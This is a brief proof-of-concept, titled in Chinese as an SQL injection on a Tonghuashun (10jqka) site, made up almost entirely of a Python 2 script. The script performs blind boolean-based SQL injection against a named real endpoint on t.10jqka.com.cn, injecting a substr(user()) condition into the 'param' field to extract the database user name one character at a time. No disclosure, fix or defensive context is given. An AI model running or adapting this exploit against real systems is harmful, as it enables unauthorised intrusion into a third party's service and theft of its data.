同花顺某站SQL注入

#!/usr/bin/env python
 #-*-coding:utf-8-*-
 
 
 import requests
 import json
 import time
 
 
 payloads = '0123456789_.@ abcdefghijklmnopqrstuvwxyz'
 res = ''
 url = 'http://t.10jqka.com.cn/newcircle/search/stockWithNameWizard'
 
 for k in range(1,21):
  for p in payloads:
   key = "1') and substr(user(),{},1)='{}' or ('".format(k,p)
   data = {'num': 5, 'param': key}
   req = requests.post(url, data=data)
   #print req.json()['result']
   if req.json()['result']:
    res = res + p
    print "/n" + res + "/n"
    break
   print key
 print "/n/n[Finish]: " + res + "/n"